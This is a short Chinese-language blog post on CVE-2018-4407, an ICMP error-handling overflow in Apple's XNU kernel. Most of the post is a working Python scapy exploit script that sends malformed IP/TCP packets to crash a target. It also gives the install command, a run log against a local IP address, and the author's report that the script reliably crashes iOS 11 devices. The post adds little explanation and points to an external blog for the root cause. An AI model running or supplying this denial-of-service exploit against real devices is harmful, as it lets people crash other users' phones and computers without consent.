2018-10-30 公开了一个 Apple 设备的远程代码执行漏洞 CVE-2018-4407，该漏洞是收到畸形数据包后，向发送方报告错误，在构造 ICMP 数据包时发生了溢出，影响 macOS 10.13.6 及以下版本，iOS 11 及以下版本，演示视频如下：
python exp，能够造成让系统崩溃，代码如下：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# CVE-2018-4407 ICMP DOS # https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407 # from https://twitter.com/ihackbanme import sys try: from scapy.all import * except Exception as e: print ("[*] You need install scapy first:\n[*] sudo pip install scapy ") if __name__ == '__main__': try: check_ip = sys.argv[1] print ("[*] !!!!!!Dangerous operation!!!!!!") print ("[*] Trying CVE-2018-4407 ICMP DOS " + check_ip) for i in range(8,20): send(IP(dst=check_ip,options=[IPOption("A"*i)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)])) print ("[*] Check Over!! ") except Exception as e: print "[*] usage: sudo python check_icmp_dos.py 127.0.0.1" |
测试 exp 之前安装一下 scapy
|
1 |
sudo pip install scapy |
然后开始见证奇迹：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ sudo python ./icmp_ddos.py 192.168.2.238 Fontconfig warning: ignoring UTF-8: not a valid region tag Fontconfig warning: ignoring UTF-8: not a valid region tag [*] !!!!!!Dangerous operation!!!!!! [*] Trying CVE-2018-4407 ICMP DOS 192.168.2.238 . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. [*] Check Over!! |
测试了 iOS 11.0，11.2，11.3.1 都没问题，一打一个准。不过 iOS 8.1, 9.0.1, 10.3.3 都没测试成功。
具体漏洞的原理细节可以看 Kevin Backhouse 的博客
https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407